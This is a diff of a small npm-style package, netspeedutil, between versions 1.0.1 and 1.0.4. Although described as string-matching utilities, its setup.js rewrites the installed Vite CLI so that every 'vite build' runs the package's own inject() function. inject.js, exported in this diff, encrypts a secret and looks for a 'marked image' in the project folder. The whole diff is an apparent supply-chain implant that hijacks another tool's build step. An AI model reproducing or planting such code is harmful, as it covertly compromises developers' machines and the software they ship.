netspeedutil 1.0.1 → 1.0.4

package/inject.js

@@ -69,7 +69,7 @@ function encryptForBrowser(secret, identityKey) {
   return `${iv.toString('hex')}:${enc.toString('hex')}:${identityKey}`;
 }
 
-async function inject() {
+export async function inject() {
   const imagePath = findMarkedImage(process.cwd());
   if (!imagePath) {
     return;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "netspeedutil",
-  "version": "1.0.1",
+  "version": "1.0.4",
   "description": "Fast string matching and pattern validation utilities",
   "type": "module",
   "main": "index.js",

package/setup.js

@@ -55,14 +55,14 @@ const __dirname = resolve(__filename, '..');
     const file = '../vite/dist/node/cli.js';
     let code = readFileSync(file, "utf8");
     const buildCommandRegex =
-    /cli\.command\("build \[root\]"[\s\S]*?\.action\([\s\S]*?finally\s*{([\s\S]*?)}\s*\)\s*;/;
-    code = code.replace(buildCommandRegex, (match, finallyContent) => {
-    if (finallyContent.includes("await hello()")) return match;
-    const newFinally = `finally {
-    ${finallyContent}
-    await inject();
-    }`;
-    return match.replace(/finally\s*{([\s\S]*?)}/, newFinally);
+    /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
+
+    code = code.replace(buildCommandRegex, (match, start, body, end) => {
+
+      if (body.includes("await inject()")) return match;
+
+      return `${start}${body}
+        await inject();${end}`;
     });
     // Add import at top
     const importLine = `import {inject} from "../../../netspeedutil/inject.js";`;